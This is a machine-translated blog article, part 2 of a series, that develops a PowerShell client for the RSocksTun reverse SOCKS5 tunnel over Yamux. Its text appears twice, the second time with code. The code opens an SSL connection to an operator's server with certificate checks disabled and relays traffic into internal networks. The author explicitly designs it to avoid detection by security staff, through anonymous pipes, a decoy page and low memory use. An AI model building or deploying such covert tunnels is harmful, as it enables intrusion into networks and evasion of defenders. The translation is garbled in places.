We write Reverse socks5 proxy on powershell. Part 2
The story of research and development in 3 parts. Part 2 - development.
There are many beeches - there is even more benefit.
In the first part of the article we met with some tools for the organization of reverse tunnels, looked at their advantages and disadvantages, studied the mechanism of operation of the Yamux multiplexer and described the basic requirements for the newly created powershell module. The time has come to develop the client powershell module to the ready-made implementation of the RSocksTun reverse tunnel.
First of all, we need to understand in what mode our module will operate. Obviously, for prima-transfer of data, we will need to use the windows sockets mechanism and the capabilities provided by .Net for streaming read-write to sockets. But, on the other hand, because Since our module must serve several yamux streams at the same time, then all I / O operations should not completely block the execution of our program. This suggests the conclusion that our module should use software multithreading and perform read-write operations with the yamux-server, as well as read-write operations to the destination servers in different program streams. Well, by itself, it is necessary to provide a mechanism for interaction between our parallel threads. Fortunately, powershell provides ample opportunities for running and managing program threads.
Thus, the general algorithm of our client’s work should be something like this:
')
So, in our client it is necessary to implement at least 3 program streams:
And, naturally, we need to foresee the interaction between all these flows.
We need not only to provide such an interaction, but also to obtain the convenience of streaming I / O (similar to that in sockets). The most suitable mechanism would be the use of software pipes. In Windows, pipes are named, when each pipe has its own name, and anonymous - each pipe is identified by its handler. For the purpose of secrecy, of course, we will use anonymous pipes. (After all, we do not want our module to be calculated using the name pipes in the system - yes?). Thus, the interaction between the main / reverse flows and socks flows will be carried out through anonymous pipes that support asynchronous stream I / O operations. Between the main and reverse threads, communication will take place through the shared-object mechanism (shared synchronized variables) (for more information about what these variables are and how you can live with them here ).
We must store information about running socks streams in the corresponding data structure. When creating a socks-stream in this structure, we must write:
So, in terms of data processing, the work of our program is structured as follows:
Retrieving and analyzing the Yamux Header
Our module first establishes an SSL connection to the server and is authenticated with a password:
Then, the script waits for a 12-byte yamux header and analyzes it.
There is a small nuance here ... As practice shows, a simple reading of 12 bytes from a socket:
not enough, since the read operation can be completed after the arrival of only a part of the necessary bytes. Therefore, we need to wait for all 12 bytes in the loop:
After the loop completes, we must analyze the 12-byte header contained in the $ ymxbuffer variable for its type and the set flags according to the Yamux specification.
Yamux header can be of several types:
We consider everything that does not fit the listed types of yamux headers as an exceptional situation. There are 10 such exceptions and we believe that there is something wrong here and we are completing the work of our module.(and also erase all our files, wipe the disk, change the name, make a new passport, leave the country, etc. according to the list ...)
Creating a new socks stream
Having received a yamux-package to establish a new stream, our client creates two anonymous server pipelines ($ sipipe, $ sopipe), for in / out, respectively, creates client pipes ($ cipipe, $ copipe) based on them:
creates a runspace for the socks stream, sets the shared variables for interacting with this stream (StopFlag) and starts the scriptblock SocksScript, which implements the functionality of the socks server in a separate thread:
Created variables are written into a special ArrayList structure - analogue of a Dictionary in Python
Adding occurs through the built-in Add method:
Yamux Data Processing
When receiving data from a yamux server intended for a socks stream, we need to determine the yamux stream number from the 12-byte yamux header (the number of the socks stream for which this data is intended), as well as the number of data bytes:
Then from the ArrayList stream across the field ymxId we get the handlers of the server out-pipe corresponding to this socks stream:
After that, read the data from the socket, remembering that you need to read through a cycle a certain number of bytes:
and write the data to the appropriate pipe:
Yamux FIN Processing - Stream End
When we receive a packet from the yamix server signaling the closure of a stream, we also get the yamux stream number first from a 12-byte header:
then, through a shared variable (or rather, an array of flags, where the index is the number of yamux stream), we signal the socks flow to complete:
after setting the flag, before killing socks-flow, you must wait a certain amount of time for the socks-flow to manage this flag. 200 ms is enough for this:
then close all the pipelines related to this thread, close the corresponding Runspace and kill the Powershell object to release the resources:
After closing the socks stream, we need to remove the corresponding element from the ArrayList streams:
And at the end we need to force the .Net garbage collector to free up the resources used by the stream. Otherwise, our script will consume about 100-200 MB of memory, which can be noticed by an experienced and corrosive user, but we do not need this:
As mentioned above, the data received from socks streams are processed by a separate yamuxScript stream, which starts from the very beginning (after a successful connection to the server). His task is to periodically poll the output socks of the socks streams located in ArrayList $ streams:
and if they have data, send them to the yamux server, after having provided the corresponding 12-byte yamux header with the number of the yamux session and the number of data bytes:
Also, yamuxScript monitors the set flag in the $ StopFlag shared array, for each of the threads being executed by socksScript. This flag can be set to a value of 2 if the remote server with which socksScript works breaks the connection. In such a situation, the information needs to be reported to the socks client. The chain turns out to be the following: yamuxScript has to inform the yamux server about the disconnection in order for the one in turn to signal this to the socks client.
In addition, yamuxScript should monitor the number of bytes received from the yamux server and periodically send a YMX WinUpdate Message. This mechanism in Yamux is responsible for controlling and changing the so-called window size (by analogy with the TCP protocol) - the number of data bytes that can be sent without acknowledgment. The default window size is 256 Kbytes. This means that when sending or receiving files or data larger than this size, we need to send a windpw update package to the yamux server. To control the amount of received data from the yamux server, a special shared array $ RcvBytes is entered, into which the main stream, by incrementing the current value, records the number of bytes received from the server for each stream. When the threshold is exceeded, yamuxScript should send a packet to the WinUpdate server and reset the counter:
Now let's go directly to the socksScript itself.
Recall that socksScript is called asynchronously:
and at the time of the call, the following data is present as part of the $ state variable being passed to the stream:
The data in the pipe comes already raw without yamux headers, i.e. in the form in which they came from the socks-client.
Inside socksScript, first of all, we need to determine the version of socks and make sure that it is equal to 5:
Well, then we do exactly as implemented in the Invoke-SocksProxy script. The only difference is that instead of calling us
It is necessary to monitor the tcp connection and the corresponding completion flag in the $ StopFlag array cyclically, otherwise we will not be able to recognize the connection termination situation from the socks client and ymux server:
If the connection is terminated by the tcp server to which we are connecting, we set this flag to 2, which will force yamuxscript to recognize this and send the corresponding ymx FIN packet to the yamux server:
We must also set this flag in case socksScript can not connect to the destination server:
In the course of our coder surveys, we managed to create a powershell client to our RsocksTun server with the ability to:
Outside the article, the implementation of functionality for connecting through a proxy server and authorization on it, as well as turning our script into an inline-version, which can be run from the command line, remains. This will be in the third part.
That's all for today. As they say - subscribe, put likes, leave comments (especially regarding your thoughts on improving the code and adding functionality).
There are many beeches - there is even more benefit.
In the first part of the article we met with some tools for the organization of reverse tunnels, looked at their advantages and disadvantages, studied the mechanism of operation of the Yamux multiplexer and described the basic requirements for the newly created powershell module. The time has come to develop the client powershell module to the ready-made implementation of the RSocksTun reverse tunnel.
First of all, we need to understand in what mode our module will operate. Obviously, for prima-transfer of data, we will need to use the windows sockets mechanism and the capabilities provided by .Net for streaming read-write to sockets. But, on the other hand, because Since our module must serve several yamux streams at the same time, then all I / O operations should not completely block the execution of our program. This suggests the conclusion that our module should use software multithreading and perform read-write operations with the yamux-server, as well as read-write operations to the destination servers in different program streams. Well, by itself, it is necessary to provide a mechanism for interaction between our parallel threads. Fortunately, powershell provides ample opportunities for running and managing program threads.
General work algorithm
Thus, the general algorithm of our client’s work should be something like this:
')
- establish an SSL connection with the server;
- log in with a password so that the server can distinguish us from the security officer;
- wait for the yamux-package to install a new stream, periodically responding to keepalive server requests;
- start a new program stream socksScript (not to be confused with a stream) as soon as the yamux package comes to install a new stream. Inside socksScript realize the work of the socks5 server;
- upon arrival of a packet with data from yamux — understand from a 12-byte header, which stream is intended for the data, as well as its size, read the data from the yamux-server and transfer the received data to the stream with the corresponding stream number;
- periodically monitor the availability of data intended for the yamux-server in each of the running socks-scripts. If there is such data, add the corresponding 12-byte header to it and send it to the yamux server;
- upon the arrival of the yamux-package to close the stream - to transmit a signal to the appropriate stream for the completion of the stream and disconnect, and then to complete the stream itself;
So, in our client it is necessary to implement at least 3 program streams:
- the main one, which will establish the connection, log in to the yamux server, receive data from it, process the yamux headers and send already raw data to other program streams;
- streams with socks servers. There may be several of them - one for each stream. They implemented the functionality of socks5. These flows will interact with destinations on the internal network;
- reverse flow. It receives data from socks streams, adds yamux headers to them and sends them to the yamux server;
And, naturally, we need to foresee the interaction between all these flows.
We need not only to provide such an interaction, but also to obtain the convenience of streaming I / O (similar to that in sockets). The most suitable mechanism would be the use of software pipes. In Windows, pipes are named, when each pipe has its own name, and anonymous - each pipe is identified by its handler. For the purpose of secrecy, of course, we will use anonymous pipes. (After all, we do not want our module to be calculated using the name pipes in the system - yes?). Thus, the interaction between the main / reverse flows and socks flows will be carried out through anonymous pipes that support asynchronous stream I / O operations. Between the main and reverse threads, communication will take place through the shared-object mechanism (shared synchronized variables) (for more information about what these variables are and how you can live with them here ).
We must store information about running socks streams in the corresponding data structure. When creating a socks-stream in this structure, we must write:
- session yamux number: $ ymxstream;
- 4 variables for working with pipes (channels): $ cipipe, $ copipe, $ sipipe, $ sopipe. Since anonymous channels work either in IN or OUT, for each socks stream we need two anonymous channels, each of which must have two ends (pipestream) (server and client);
- the result of the flow call is $ AsyncJobResult;
- Handler thread - $ Psobj. Through it, we will close the flow and release resources;
- the result of an asynchronous read from an anonymous channel by a reverse flow ($ readjob). This variable is used in the reverse yamuxScript stream for asynchronous reading from the corresponding pipe;
- buffer for reading data for each socks-stream;
Main thread
So, in terms of data processing, the work of our program is structured as follows:
- the server part (rsockstun - implemented on Golang) raises the ssl server and waits for connections from the client;
- when receiving a connection from the client, the server checks the password, and if it is correct, it establishes a yamux connection, raises the socks port and waits for connections from socks clients (our proxychains, browser, etc.), while periodically exchanging keepalive packets with our client. If the password is incorrect, redirect to the page that we specified when installing the server (this is a “legal” page for a vigilant information security administrator);
- when receiving a connection from the socks-client, the server sends a yamux-packet to our client to establish a new stream (YMX SYN);
Retrieving and analyzing the Yamux Header
Our module first establishes an SSL connection to the server and is authenticated with a password:
$tcpConnection = New-Object System.Net.Sockets.TcpClient($server, $port) $tcpStream = New-Object System.Net.Security.SslStream($tcpConnection.GetStream(),$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) $tcpStream.AuthenticateAsClient('127.0.0.1') Then, the script waits for a 12-byte yamux header and analyzes it.
There is a small nuance here ... As practice shows, a simple reading of 12 bytes from a socket:
$num = $tcpStream.Read($tmpbuffer,0,12) not enough, since the read operation can be completed after the arrival of only a part of the necessary bytes. Therefore, we need to wait for all 12 bytes in the loop:
do { try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {} $tnum += $num $ymxbuffer += $tmpbuffer[0..($num-1)] }while ($tnum -lt 12 -and $tcpConnection.Connected) After the loop completes, we must analyze the 12-byte header contained in the $ ymxbuffer variable for its type and the set flags according to the Yamux specification.
Yamux header can be of several types:
- ymx syn - install new stream;
- ymx fin - the completion of the stream;
- ymx data - represents information about the data (what size and to which stream they are intended);
- ymx ping - keepalive message;
- ymx win update - confirmation of the transfer of data;
We consider everything that does not fit the listed types of yamux headers as an exceptional situation. There are 10 such exceptions and we believe that there is something wrong here and we are completing the work of our module.
Creating a new socks stream
Having received a yamux-package to establish a new stream, our client creates two anonymous server pipelines ($ sipipe, $ sopipe), for in / out, respectively, creates client pipes ($ cipipe, $ copipe) based on them:
$sipipe = new-object System.IO.Pipes.AnonymousPipeServerStream(1) $sopipe = new-object System.IO.Pipes.AnonymousPipeServerStream(2,1) $sipipe_clHandle = $sipipe.GetClientHandleAsString() $sopipe_clHandle = $sopipe.GetClientHandleAsString() $cipipe = new-object System.IO.Pipes.AnonymousPipeClientStream(1,$sopipe_clHandle) $copipe = new-object System.IO.Pipes.AnonymousPipeClientStream(2,$sipipe_clHandle) creates a runspace for the socks stream, sets the shared variables for interacting with this stream (StopFlag) and starts the scriptblock SocksScript, which implements the functionality of the socks server in a separate thread:
$state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe} $PS = [PowerShell]::Create() $socksrunspace = [runspacefactory]::CreateRunspace() $socksrunspace.Open() $socksrunspace.SessionStateProxy.SetVariable("StopFlag",$StopFlag) $PS.Runspace = $socksrunspace $PS.AddScript($socksScript).AddArgument($state) | Out-Null [System.IAsyncResult]$AsyncJobResult = $null $StopFlag[$ymxstream] = 0 $AsyncJobResult = $PS.BeginInvoke() Created variables are written into a special ArrayList structure - analogue of a Dictionary in Python
[System.Collections.ArrayList]$streams = @{} Adding occurs through the built-in Add method:
$streams.add(@{ymxId=$ymxstream;cinputStream=$cipipe;sinputStream=$sipipe;coutputStream=$copipe;soutputStream=$sopipe;asyncobj=$AsyncJobResult;psobj=$PS;readjob=$null;readbuffer=$readbuffer}) | out-null Yamux Data Processing
When receiving data from a yamux server intended for a socks stream, we need to determine the yamux stream number from the 12-byte yamux header (the number of the socks stream for which this data is intended), as well as the number of data bytes:
$ymxstream = [bitconverter]::ToInt32($buffer[7..4],0) $ymxcount = [bitconverter]::ToInt32($buffer[11..8],0) Then from the ArrayList stream across the field ymxId we get the handlers of the server out-pipe corresponding to this socks stream:
if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)} else {$streamind = 0} $outStream = $streams[$streamind].soutputStream After that, read the data from the socket, remembering that you need to read through a cycle a certain number of bytes:
$databuffer = $null $tnum = 0 do { if ($buffer.length -le ($ymxcount-$tnum)) { $num = $tcpStream.Read($buffer,0,$buffer.Length) }else { $num = $tcpStream.Read($buffer,0,($ymxcount-$tnum)) } $tnum += $num $databuffer += $buffer[0..($num-1)] }while ($tnum -lt $ymxcount -and $tcpConnection.Connected) and write the data to the appropriate pipe:
$num = $tcpStream.Read($buffer,0,$ymxcount) $outStream.Write($buffer,0,$ymxcount) Yamux FIN Processing - Stream End
When we receive a packet from the yamix server signaling the closure of a stream, we also get the yamux stream number first from a 12-byte header:
$ymxstream = [bitconverter]::ToInt32($buffer[7..4],0) then, through a shared variable (or rather, an array of flags, where the index is the number of yamux stream), we signal the socks flow to complete:
if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)} else {$streamind = 0} if ($StopFlag[$ymxstream] -eq 0){ write-host "stopflag is 0. Setting to 1" $StopFlag[$ymxstream] = 1 } after setting the flag, before killing socks-flow, you must wait a certain amount of time for the socks-flow to manage this flag. 200 ms is enough for this:
start-sleep -milliseconds 200 #wait for thread check flag then close all the pipelines related to this thread, close the corresponding Runspace and kill the Powershell object to release the resources:
$streams[$streamind].cinputStream.close() $streams[$streamind].coutputStream.close() $streams[$streamind].sinputStream.close() $streams[$streamind].soutputStream.close() $streams[$streamind].psobj.Runspace.close() $streams[$streamind].psobj.Dispose() $streams[$streamind].readbuffer.clear() After closing the socks stream, we need to remove the corresponding element from the ArrayList streams:
$streams.RemoveAt($streamind) And at the end we need to force the .Net garbage collector to free up the resources used by the stream. Otherwise, our script will consume about 100-200 MB of memory, which can be noticed by an experienced and corrosive user, but we do not need this:
[System.GC]::Collect()#clear garbage to minimize memory usage Yamux Script - reverse flow
As mentioned above, the data received from socks streams are processed by a separate yamuxScript stream, which starts from the very beginning (after a successful connection to the server). His task is to periodically poll the output socks of the socks streams located in ArrayList $ streams:
foreach ($stream in $state.streams){ ... } and if they have data, send them to the yamux server, after having provided the corresponding 12-byte yamux header with the number of the yamux session and the number of data bytes:
if ($stream.readjob -eq $null){ $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024) }elseif ( $stream.readjob.IsCompleted ){ #if read asyncjob completed - generate yamux header $outbuf = [byte[]](0x00,0x00,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [bitconverter]::getbytes([int32]$stream.readjob.Result)[3..0] $state.tcpstream.Write($outbuf,0,12) #write raw data from socks thread to yamux $state.tcpstream.Write($stream.readbuffer,0,$stream.readjob.Result) $state.tcpstream.flush() #create new readasync job $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024) }else{ #write-host "Not readed" } Also, yamuxScript monitors the set flag in the $ StopFlag shared array, for each of the threads being executed by socksScript. This flag can be set to a value of 2 if the remote server with which socksScript works breaks the connection. In such a situation, the information needs to be reported to the socks client. The chain turns out to be the following: yamuxScript has to inform the yamux server about the disconnection in order for the one in turn to signal this to the socks client.
if ($StopFlag[$stream.ymxId] -eq 2){ $stream.ymxId | out-file -Append c:\work\log.txt $outbuf = [byte[]](0x00,0x01,0x00,0x04)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [byte[]](0x00,0x00,0x00,0x00) $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() } Yamux window update
In addition, yamuxScript should monitor the number of bytes received from the yamux server and periodically send a YMX WinUpdate Message. This mechanism in Yamux is responsible for controlling and changing the so-called window size (by analogy with the TCP protocol) - the number of data bytes that can be sent without acknowledgment. The default window size is 256 Kbytes. This means that when sending or receiving files or data larger than this size, we need to send a windpw update package to the yamux server. To control the amount of received data from the yamux server, a special shared array $ RcvBytes is entered, into which the main stream, by incrementing the current value, records the number of bytes received from the server for each stream. When the threshold is exceeded, yamuxScript should send a packet to the WinUpdate server and reset the counter:
if ($RcvBytes[$stream.ymxId] -ge 256144){ #out win update ymx packet with 256K size $outbuf = [byte[]](0x00,0x01,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ (0x00,0x04,0x00,0x00) $state.tcpstream.Write($outbuf,0,12) $RcvBytes[$stream.ymxId] = 0 } Threads socksScript
Now let's go directly to the socksScript itself.
Recall that socksScript is called asynchronously:
$state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe} $PS = [PowerShell]::Create() .... $AsyncJobResult = $PS.BeginInvoke() and at the time of the call, the following data is present as part of the $ state variable being passed to the stream:
- $ state.streamId - session number of yamux;
- $ state.inputStream - read pipe;
- $ state.oututStream - write pipe;
The data in the pipe comes already raw without yamux headers, i.e. in the form in which they came from the socks-client.
Inside socksScript, first of all, we need to determine the version of socks and make sure that it is equal to 5:
$state.inputStream.Read($buffer,0,2) | Out-Null $socksVer=$buffer[0] if ($socksVer -eq 5){ ... } Well, then we do exactly as implemented in the Invoke-SocksProxy script. The only difference is that instead of calling us
$AsyncJobResult.AsyncWaitHandle.WaitOne(); $AsyncJobResult2.AsyncWaitHandle.WaitOne(); It is necessary to monitor the tcp connection and the corresponding completion flag in the $ StopFlag array cyclically, otherwise we will not be able to recognize the connection termination situation from the socks client and ymux server:
while ($StopFlag[$state.StreamID] -eq 0 -and $tmpServ.Connected ){ start-sleep -Milliseconds 50 } If the connection is terminated by the tcp server to which we are connecting, we set this flag to 2, which will force yamuxscript to recognize this and send the corresponding ymx FIN packet to the yamux server:
if ($tmpServ.Connected){ $tmpServ.close() }else{ $StopFlag[$state.StreamID] = 2 } We must also set this flag in case socksScript can not connect to the destination server:
if($tmpServ.Connected){ ... } else{ $buffer[1]=4 $state.outputStream.Write($buffer,0,2) $StopFlag[$state.StreamID] = 2 } Conclusion to the second part
In the course of our coder surveys, we managed to create a powershell client to our RsocksTun server with the ability to:
- SSL connections;
- authorization on the server;
- working with a yamux server with keepalive ping support;
- multi-thread operation;
- large file transfer support;
Outside the article, the implementation of functionality for connecting through a proxy server and authorization on it, as well as turning our script into an inline-version, which can be run from the command line, remains. This will be in the third part.
That's all for today. As they say - subscribe, put likes, leave comments (especially regarding your thoughts on improving the code and adding functionality).
Source: https://habr.com/ru/post/453970/
All Articles